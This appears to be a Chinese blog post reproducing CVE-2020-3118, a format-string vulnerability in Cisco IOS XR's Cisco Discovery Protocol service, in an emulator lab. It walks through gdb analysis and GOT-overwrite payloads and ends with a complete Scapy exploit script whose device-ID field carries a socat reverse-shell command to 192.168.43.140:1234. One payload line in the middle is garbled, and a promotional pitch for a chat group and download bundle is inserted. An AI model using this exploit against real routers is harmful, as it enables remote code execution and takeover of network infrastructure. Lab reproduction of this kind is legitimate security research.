我用一个例子疏通“路由器漏洞&复现”【建议收藏!!】

在这里插入图片描述

一、介绍
​ 该缺陷存在于Cisco IOS XR软件的Cisco Discovery Protocol中,它可能导致黑客的攻击。

​ “该漏洞是Cisco Discovery Protocol中字段字符串输入的错误验证所致。黑客可以通过向受影响设备发送恶意Cisco Discovery Protocol数据包以利用漏洞。” “被成功利用的漏洞可能导致堆栈溢出,黑客便可以执行任意代码。”

​ Cisco专家指出,其他黑客也可以利用此缺陷。美国国家安全局(NSA)声称该漏洞在漏洞排名中位居前25。 IOS XR网络操作系统 运行包括NCS 540 560、NCS 5500、8000和ASR 9000系列的Cisco路由器,该漏洞还会影响至少全球范围内都启用了Cisco Discovery Protocol的第三方白盒路由器和Cisco产品。Cisco于2020年2月解决了CVE-2020-3118漏洞,以CDPwn跟踪其他四个严重问题。

二、实验工具与环境
2.1 实验工具
IDA 7.5,Xshell,gdbserver,gdb。

2.2 软件环境
XR模拟器,kali虚拟机。

三、复现过程
3.1 漏洞触发及FMT原理分析
​ 本漏洞为格式化字符串漏洞,在同一函数中连续三次调用snprintf造成,通过IDA逆向cdp文件,找到漏洞点。
在这里插入图片描述

需要构造合适的cdp报文触发漏洞,cdp协议格式如下图所示:
在这里插入图片描述

Scapy库提供了构造cdp报文的API,直接每个字段都构造一部分内容发送过去,用于确定漏洞点。

from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP
from scapy.all import *
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=b"A"*10)
portid = cdp.CDPMsgPortID(iface=b"B"*10)
version = cdp.CDPMsgSoftwareVersion(val=b"C"*10)
platform = cdp.CDPMsgPlatform(val=b"D"*10)
domain = cdp.CDPMsgVTPMgmtDomain(val=b"E"*10)
unknown = cdp.CDPMsgUnknown19(val=b"F"*10)
address=cdp.CDPMsgAddr(naddr=1,addr=cdp.CDPAddrRecordIPv4(addr="192.168.43.181"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)

​ 在snprintf出现的三个地址,即0x41830F、0x418334和0x418359处下断点,发送以上代码构成的数据包,使用gdb调试,可以得知三处snprintf的参数分别是CDPMsgPortID、CDPMsgPlatform和CDPMsgVTPMgmtDomain。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

​ 64位程序中,前6个参数存在寄存器中,从第7个参数开始才会出现在栈中,format是snprintf函数的第3个参数,因此发送”%4$p”命令用来解析相对于format的第4个参数地址,即snprintf的第7个参数地址。
在这里插入图片描述
gdb中输入n单步执行后查看内存,转化为ASCII码可以发现第7个参数就是栈顶存储的值。
在这里插入图片描述
0x7fffbca39d60相对栈顶0x7fffbca39cd0偏移为0x90,64位程序每个参数占8位,所以0x7fffbca39d60是相对于format的第22个参数地址,即snprintf的第25个参数地址。以此可以实现任意内存写入。

3.2 漏洞利用
​ 利用思路是将strncmp函数的got表地址改为system函数地址,进而远程代码执行。

​ system函数地址为0x399480ffa0,strncmp函数地址为0x3994481a70,两个地址只有最后6位(3字节)不同。strncmp函数got表地址为0x622530。

在这里插入图片描述
构造payload,payload1写入strncmp函数的got地址(6432048为0x622530的十进制形式)。

​ Payload2修改strncmp函数got表指向地址(0x3994481a70)的最后两个字节,即将0xffa0写入栈空间0x7fffbca39d60处,覆盖原地址的1a70;由于一共需要修改3字节,已修改2字节,还需要修改1字节,因此为保证写入栈空间的连续性,下一次写入需从6432048+2处开始写入;前面已经写入了65440(0xffa0),因此payload2后半部分应该是6366610(6432048+2-65440)。

​ payload3用于修改got表指向地址的倒数第3个字节,写入128(0x80)即可。

payload1 = %6432048c%4 n p a y l o a d 2 = n payload2 = %65440c%22 npayload2=hn%6366610c%4 n p a y l o a d 3 = n payload3 = %128c%22 npayload3=hhn
​ 输入payload,对路由器进行调试。执行第一个snprintf后,payload1将got表地址写入了栈中。
在这里插入图片描述
执行第二个snprintf,输入payload2。栈顶存放指针指向了0x622532,而strncmp的got表指向地址的最后两个字节已经被修改。

在这里插入图片描述
执行第三个snprintf,可以看到strncmp的got表已被修改为指向system函数。

在这里插入图片描述
​ 在0x399480ffa0处下断点执行过去,发现参数全为A,在构造cdp包的程序中由CDPMsgDeviceID控制。

在这里插入图片描述
​ 使用socat命令,在kali中设置对应端口监听,最终即可反弹shell。

在这里插入图片描述
​ 与XR中的cdp进程号比对,完全相同,可以判断该漏洞利用成功。

我是一名渗透工作者,常年游走在漏洞当中,大家在学习中遇到任何问题,都可以申请加入我所在的亲亲箘,前面是:603中间是:916后面是:224,需要文中资料点我获取,还有更多网络安全全套视频、工具包、书籍、应急响应笔记等着你,点这里获取

在这里插入图片描述
​ exp如下所示:

from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP
from scapy.all import *
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=b"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.43.140:1234")
portid = cdp.CDPMsgPortID(iface=b"%6432048c%4$n")
version = cdp.CDPMsgSoftwareVersion(val=b"C"*10)
platform = cdp.CDPMsgPlatform(val=b"%65440c%22$hn%6366610c%4$n")
domain = cdp.CDPMsgVTPMgmtDomain(val=b"%128c%22$hhn")
unknown = cdp.CDPMsgUnknown19(val=b"F"*10)
address=cdp.CDPMsgAddr(naddr=1,addr=cdp.CDPAddrRecordIPv4(addr="192.168.43.181"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/version/platform/domain/unknown/address/cap
packet = l2_packet / cdp_packet
sendp(packet)
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值